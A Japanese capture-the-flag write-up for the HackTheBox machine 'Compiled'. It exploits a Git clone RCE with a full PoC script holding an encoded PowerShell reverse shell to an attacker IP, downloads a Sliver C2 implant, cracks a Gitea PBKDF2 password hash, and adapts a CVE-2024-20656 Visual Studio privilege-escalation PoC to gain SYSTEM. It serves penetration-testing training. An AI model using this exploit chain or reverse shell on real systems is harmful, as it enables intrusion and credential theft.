HackTheBox Compiled Writeup

# 概要
**HackTheBox**のリタイアマシン**Compiled**の**Writeup**です。

https://app.hackthebox.com/machines/Compiled

難易度 : Medium
OS : Windows

![Compiled.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/dde2f0bb-65eb-071f-08fb-1ddcf181e5cc.png)

# Enumeration

## nmap

```bash
kali@Kali [11時34分34秒] [~/HTB/Compiled] 
-> % nmap --reason -Pn -T4 -sV -sC --version-all -A --osscan-guess -p- 10.10.11.26 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-11 11:34 JST
Nmap scan report for compiled.htb (10.10.11.26)
Host is up, received user-set (0.091s latency).
Not shown: 65531 filtered tcp ports (no-response)
PORT     STATE SERVICE    REASON  VERSION
3000/tcp open  ppp?       syn-ack
| fingerprint-strings: 
|   GenericLines, Help, RTSPRequest: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest: 
|     HTTP/1.0 200 OK
|     Cache-Control: max-age=0, private, must-revalidate, no-transform
|     Content-Type: text/html; charset=utf-8
|     Set-Cookie: i_like_gitea=33607557e5d3f90b; Path=/; HttpOnly; SameSite=Lax
|     Set-Cookie: _csrf=AFGRkw-kEuRfwBW4tuftBk0QU_w6MTczMTI5MTg1ODQ2MzA0NTAwMA; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax
|     X-Frame-Options: SAMEORIGIN
|     Date: Mon, 11 Nov 2024 02:24:18 GMT
|     <!DOCTYPE html>
|     <html lang="en-US" class="theme-arc-green">
|     <head>
|     <meta name="viewport" content="width=device-width, initial-scale=1">
|     <title>Git</title>
|     <link rel="manifest" href="data:application/json;base64,eyJuYW1lIjoiR2l0Iiwic2hvcnRfbmFtZSI6IkdpdCIsInN0YXJ0X3VybCI6Imh0dHA6Ly9naXRlYS5jb21waWxlZC5odGI6MzAwMC8iLCJpY29ucyI6W3sic3JjIjoiaHR0cDovL2dpdGVhLmNvbXBpbGVkLmh0YjozMDAwL2Fzc2V0cy9pbWcvbG9nby5wbmciLCJ0eXBlIjoiaW1hZ2UvcG5nIiwic2l6ZXMiOiI1MTJ4NTEyIn0seyJzcmMiOiJodHRwOi8vZ2l0ZWEuY29tcGlsZWQuaHRiOjMwMDA
|   HTTPOptions: 
|     HTTP/1.0 405 Method Not Allowed
|     Allow: HEAD
|     Allow: GET
|     Cache-Control: max-age=0, private, must-revalidate, no-transform
|     Set-Cookie: i_like_gitea=32822644cd3de54f; Path=/; HttpOnly; SameSite=Lax
|     Set-Cookie: _csrf=CJNIDRWeQ6zESubWCUZHQ5qo2486MTczMTI5MTg2NDgwOTQ3NzEwMA; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax
|     X-Frame-Options: SAMEORIGIN
|     Date: Mon, 11 Nov 2024 02:24:24 GMT
|_    Content-Length: 0
5000/tcp open  upnp?      syn-ack
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.1 200 OK
|     Server: Werkzeug/3.0.3 Python/3.12.3
|     Date: Mon, 11 Nov 2024 02:24:18 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 5234
|     Connection: close
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="UTF-8">
|     <meta name="viewport" content="width=device-width, initial-scale=1.0">
|     <title>Compiled - Code Compiling Services</title>
|     <!-- Bootstrap CSS -->
|     <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
|     <!-- Custom CSS -->
|     <style>
|     your custom CSS here */
|     body {
|     font-family: 'Ubuntu Mono', monospace;
|     background-color: #272822;
|     color: #ddd;
|     .jumbotron {
|     background-color: #1e1e1e;
|     color: #fff;
|     padding: 100px 20px;
|     margin-bottom: 0;
|     .services {
|   RTSPRequest: 
|     <!DOCTYPE HTML>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8">
|     <title>Error response</title>
|     </head>
|     <body>
|     <h1>Error response</h1>
|     <p>Error code: 400</p>
|     <p>Message: Bad request version ('RTSP/1.0').</p>
|     <p>Error code explanation: 400 - Bad request syntax or unsupported method.</p>
|     </body>
|_    </html>
5985/tcp open  http       syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
7680/tcp open  pando-pub? syn-ack
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 450.21 seconds
```

httpポート **3000**, **5000** が2つと**WinRM**が開いています。
ドメインは見つかりませんでしたが一応追加しておきます。
```
10.10.11.26	compiled.htb
```

## web

5000ポートにアクセスしてみます。
C++, C#, .NETをコンパイルするのためのサイトみたいです。
ページ下部にgitのリポジトリURLを記入するフォームがあるので試しに適当なURLを入れてみます。

![image-20240807185111626.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/c0a73264-63f3-5ec6-779c-555a4615431b.png)

どうやら送信されたURLのリポジトリをクローンするらしい

![image-20240807192155766.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/6a8300c8-7778-ecd3-d3ee-a928c0aa99fa.png)

もう一つのポート3000にアクセスするとGiteaのページが表示されました。

![image-20240807192425711.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/d577ad9e-2796-4730-34ec-d961fbc56cf2.png)

アカウントを作成することができるので適当に作てみます。

![image-20240807192935668.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/a043a2f7-916a-c6df-5b9f-46834ccf9de6.png)

エクスプローラーを見てみると２つのリポジトリを見つけました。

![image-20240807193044086.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/380ee383-e0d4-1b8e-a63e-242cfaac3808.png)

どうやらC++で記述された電卓とポート5000で動いていたWebサイトのリポジトリみたいです。
Calculatorの中を覗いてみると **git version 2.45.0.windows.1** をインストールする必要があることが分かりました。

![image-20241111120002173.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/08aaa875-0929-5cdf-7cfd-ad5dd59913d7.png)

**git 2.45.0** に脆弱性がないか調べてみると以下の記事を見つけました。

https://amalmurali.me/posts/git-rce/

![image-20240807194648066.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/366b7827-3a9b-d8d0-a695-f2f7a7c380cd.png)

この脆弱性はGitの**git clone**コマンドに関連するリモートコード実行（RCE）の脆弱性です。この攻撃は、ターゲットが悪意のあるリポジトリを再帰的にクローンした場合に発生し、その結果、サブモジュールに含まれるフックが実行されます。この脆弱性は、Gitがリポジトリサブモジュール内のシンボリックリンクを処理する際に発生します。

# Exploit

記事で説明されているエクスプロイトの詳細を見てみると、アクセス可能なリポジトリが 2 つと、それらのリポジトリの 1 つを再帰的にクローンする必要があることがわかります。
Giteaのアカウントを作成し、リポジトリを２つ作成します。

![image-20241118214756197.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/9f8b9a6e-33a8-760c-4dd4-9227d8b562be.png)

次にリポジトリの設定を行います。

```bash
git config --global protocol.file.allow always
git config --global core.symlinks true
git config --global init.defaultBranch main
```

## ステージングリポジトリの設定

作成したリポジトリをクローンしてディレクトリ**y**とサブディレクトリ **y/hooks/** を作成します。

```bash
git clone http://compiled.htb:3000/test/StagingRepository.git
```

**y/hooks/** 内に、次の内容の **post-checkout** ファイルを作成します

ペイロードは Reverse Shell Generator を使用します。

https://www.revshells.com/

```bash
#!bin/sh.exe
*PowerShellリバースシェル*
```

post-checkoutファイルに実行権限を与えます。

```bash
chmod +x y/hooks/post-checkout
```

権限を与えたらリモートリポジトリにプッシュします。

```bash
git add y/hooks/post-checkout
git commit -m "post-checkout"
git push
```

## 実行リポジトリの設定

Giteaに作成したもう一つのリポジトリをクローンしてステージングリポジトリをサブモジュールとして追加します。

```bash
git clone http://compiled.htb:3000/test/ExecutingRepository.git
git submodule add --name x/y "http://compiled.htb:3000/test/StagingRepository.git" A/modules/x
```

変更をコミットします。

```bash
git commit -m "add-submodule"
```

リポジトリ内に **.git** を指すシンボリックリンクを作成し、そのシンボリックリンクをGitのインデックスにつかしてコミットします。

```bash
printf ".git" > dotgit.txt
git hash-object -w --stdin < dotgit.txt > dot-git.hash
printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" > index.info
git update-index --index-info < index.info
git commit -m "add-symlink"
```

変更をプッシュする。

```bash
git push
```

これで準備が完了しました。
以下のコードは一連のコードをまとめたPoCになります。

```bash:poc.sh
#!/bin/bash

git config --global protocol.file.allow always
git config --global core.symlinks true
git config --global init.defaultBranch main

git clone http://compiled.htb:3000/test/StagingRepository.git
cd StagingRepository
mkdir -p y/hooks
cat > y/hooks/post-checkout <<EOF
#!bin/sh.exe
powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA2AC4AMQA3ACIALAA0ADQANAA0ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==
EOF
chmod +x y/hooks/post-checkout
git add y/hooks/post-checkout
git commit -m "post-checkout"
git push
cd ..

git clone http://compiled.htb:3000/test/ExecutingRepository.git
cd ExecutingRepository
git submodule add --name x/y "http://compiled.htb:3000/test/StagingRepository.git" A/modules/x
git commit -m "add-submodule"
printf ".git" > dotgit.txt
git hash-object -w --stdin < dotgit.txt > dot-git.hash
printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" > index.info
git update-index --index-info < index.info
git commit -m "add-symlink"
git push
```

あとはリスナーを起動してExecutingRepositoryのリポジトリのURLをポート5000で動作しているフォームに送信するだけ

![image-20241118221044574.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/1a36d620-a0af-aac4-241d-70e9e971ddbd.png)

少し待つと、応答が得られ、ユーザー **Richard**としてシェルを取得することができました

![image-20241214001852560.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/6454bd9f-96c8-eebf-8502-220998cab971.png)

# 水平展開

**C:\Users** フォルダ内に **Emily** というユーザーがいることが分かりました。まず **Emily** に横移動する必要がありそうです。

![image-20240809131136182.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/b4a007fd-48a1-0592-77fd-08f053cf4959.png)

ここからはSliver C2を使っていきます。

https://github.com/BishopFox/sliver

## Sliverのセットアップ

![image-20241214001934048.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/5d53f570-a329-b8a2-0828-6661e62868f4.png)

サーバー起動して、インプラントを作成します。

```
generate --mtls 10.10.16.34 --save . --os windows
```

インプラントをターゲットマシンにアップロードします。

```powershell
curl 10.10.16.34/CONTINUOUS_WAMPUM.exe -o CONTINUOUS_WAMPUM.exe
```

![image-20241214002105492.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/2bea3e15-b210-63df-36e7-8bb025f526d7.png)

アップロードが完了するとSliverでサーバーを起動して、インプラントを実行するとシェルを操作できるようになります。

![image-20241214002209179.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/c780450a-a769-c13f-f955-58422d7d1a5b.png)

これで楽にファイルの送受信をできるようになりました。

## PBKDF2のCrack

**Gitea**がインストールされていることが分かっているのでフォルダ内を調べると **gitea.db** というデータベースファイルを見つけた。

![image-20241214002256277.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/9680ecb0-751e-5c2f-d04a-27fffa0b526c.png)

**gitea.db** をダウンロードします。

![image-20241214002331735.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/29a64240-002d-dd7f-4a90-587d03fcc68e.png)

ファイルを調べると sqlite3のデータベースファイルであることが分かります。

![image-20240809131548360.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/183e3cf6-66be-ad5b-84fd-1413cc253f84.png)

DB Browserでデータベースファイルを開いてみると、テーブルが大量に見つかり、その中に **user** というテーブルを見つけました。

![image-20241118223655199.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/4ec8d6d9-80bb-3551-4ab1-b06782825c25.png)

userテーブルを見てみるとユーザーのパスワードハッシュがみつかりました。
emilyのパスワードハッシュがあるのでこれを解析します。

![image-20241118223846014.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/3847a28e-3259-4ff3-da71-c9762b0175f6.png)

テーブルには **passwod_hash_algo** というカラムがあり、**pbkdf2** というアルゴリズムでハッシュしているみたいです。

![image-20241118224357288.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/443da225-a831-cef2-d1f9-ea61036f14b5.png)

データに **pbkdf2\\$50000\$50** とあります。これは以下のように分割できます

```
pbkdf2
50000
50
```

**pbkdf2** : パスワードから暗号化キーを生成するためのアルゴリズムでSHA-256やSHA-512などが使用される。
**50000** : 反復回数。この場合、パスワードは50000回の反復を経てハッシュ化される。
**50** : 生成されるキーの長さ（バイト単位）この場合50バイトのハッシュキーを生成される。

つまり、PBKDF2アルゴリズムを使用して、50,000回の反復処理を行い、50バイトの長さの鍵を生成することを意味しています。hashcatでは **-m 10900** でクラックできます。

hashcatを使用するには以下のフォーマットにしてあげる必要があります。

```
sha256:<反復回数>:<base64_salt>:<base64_passwd>
```

データベースのemilyの **passwd** , **salt** カラムの値をbase64でエンコードします。

```bash
# salt
echo "227d873cca89103cd83a976bdac52486" | xxd -r -p | base64
```

```bash
# passwd
echo "97907280dc24fe517c43475bd218bfad56c25d4d11037d8b6da440efd4d691adfead40330b2aa6aaf1f33621d0d73228fc16" | xxd -r -p | base64
```

エンコード結果をフォーマット通りに入力すると以下のようになります。

```
sha256:50000:In2HPMqJEDzYOpdr2sUkhg==:l5BygNwk/lF8Q0db0hi/rVbCXU0RA32LbaRA79TWka3+rUAzCyqmqvHzNiHQ1zIo/BY=
```

入力できたらhashcatを走らせます。

```bash
hashcat -m 10900 hash.txt /usr/share/wordlists/rockyou.txt
```

解析が成功し、パスワードが **12345678** であることがわかりました。

![image-20241118235540653.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/420d5fc0-a3d3-c10c-eab4-78b353e9f337.png)

## user.txt

このパスワードで**RunasCs**を使用して **emily** としてインプラント実行することでemilyのセッションをつくります。

https://github.com/antonioCoco/RunasCs

まず、RunasCs.exeをアップロードします。

![image-20241214101604401.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/21c2d89f-c415-1ab7-5acd-27427c50fed5.png)

アップロードができたら以下のコマンドを実行します。このとき絶対パスでインプラントを指定する必要があります。

```powershell
./RunasCs.exe emily 12345678 C:\temp\CONTINUOUS_WAMPUM.exe
```

![image-20241214101437241.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/80411d84-9d2e-855d-41a4-4ac7e3e2fcda.png)

sliver側で応答が得られ、emilyのセッションを作ることができました。

![image-20241214101352815.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/7477d293-205d-e5ec-aa63-6f19f66fed93.png)

user.txtを取得しました。つづいてAdministratorを目指します。

![image-20241214003055425.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/7cbef478-52c8-3e1b-2d6f-082183ff5a20.png)

# 特権昇格

Documentsフォルダに **Visual Studio 2019** のフォルダがあります。

![image-20241214003128835.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/5a70322e-af22-764c-836f-53830441353a.png)

## CVE-2024-20656

**Visual Studio 2019** に関する **Local Privilege Escalation** がないか調べてみたところ以下の記事を発見しました。

https://www.mdsec.co.uk/2024/01/cve-2024-20656-local-privilege-escalation-in-vsstandardcollectorservice150-service/

この脆弱性は **VSStandardCollectorService150** が診断データの収集プロセス中にファイル権限の処理が不適切であることに起因しています。

### VSStandardCollectorService150とは

Microsoft Visual Studioの診断ツールの一部であり、パフォーマンスの分析やデバッグのための診断データを収集するサービスで、必要なシステムリソースにアクセスするためにデフォルトで **NT AUTHORITY\SYSTEM** で実行されます。

### 脆弱性の詳細

1. 診断データを格納するディレクトリを作成する
2. サービスの動作中、**SetNamedSecurityInfoW** 関数を使用してファイルの権限を変更するが、このディレクトリが正しく操作されていれば、他のファイルにリダイレクトすることが可能になる
3. 攻撃者は指定されたディレクトリからファイルシステム内の他の場所にリンクを作成することができ、サービスがこのリンクを操作することで、意図しないファイルの権限を変更することができるようになる

### Exploit

PoCがないか調べてみたところGitHubに以下のPoCを見つけました・

https://github.com/Wh04m1001/CVE-2024-20656?tab=readme-ov-file

リポジトリをVisual Studioでクローンします。
ソースファイルの 4行目に **VSDiagnostics.exe** のパスを指定しているのでターゲットマシン上のパスと同じになるように変更します。

変更前

```c++
WCHAR cmd[] = L"C:\\Program Files\\Microsoft Visual Studio\\2022\\Community\\Team Tools\\DiagnosticsHub\\Collector\\VSDiagnostics.exe";
```

変更後

```c++
WCHAR cmd[] = L"C:\\Program Files (x86)\\Microsoft Visual Studio\\2019\\Community\\Team Tools\\DiagnosticsHub\\Collector\\VSDiagnostics.exe";
```

ソースファイルの187行目の **C:\windows\system32\cmd.exe** をリバースシェルペイロードに変更する

変更前

```c++
CopyFile(L"c:\\windows\\system32\\cmd.exe", L"C:\\ProgramData\\Microsoft\\VisualStudio\\SetupWMI\\MofCompiler.exe", FALSE);
```

変更後

```c++
CopyFile(L"c:\\temp\\payload.exe", L"C:\\ProgramData\\Microsoft\\VisualStudio\\SetupWMI\\MofCompiler.exe", FALSE);
```

編集が完了したら構成を **Releases** でビルドし、ターゲットマシンにアップロードする

![image-20240809170955104.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/8322338f-957a-5136-9362-c11729159d0f.png)

新しいインプラント作成し、**C:\temp**にアップロードします。main.cppの187行目で指定したペイロードと同じ名前で作成します。

![image-20241214104440610.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/abb5e65e-21e5-5fcc-1e1c-167912e4cc45.png)

アップロードができたらexecuteコマンドでPoCを実行します。

![image-20241214100324007.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/b169407e-e6f8-d56e-eecf-342368253a69.png)

SYSTEM権限のセッションを取得することができました。

## root.txt

root.txtを取得して終了です。

![image-20241214100428435.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3776039/29f3eb6c-37c6-8629-d15c-a66c3dc96c8b.png)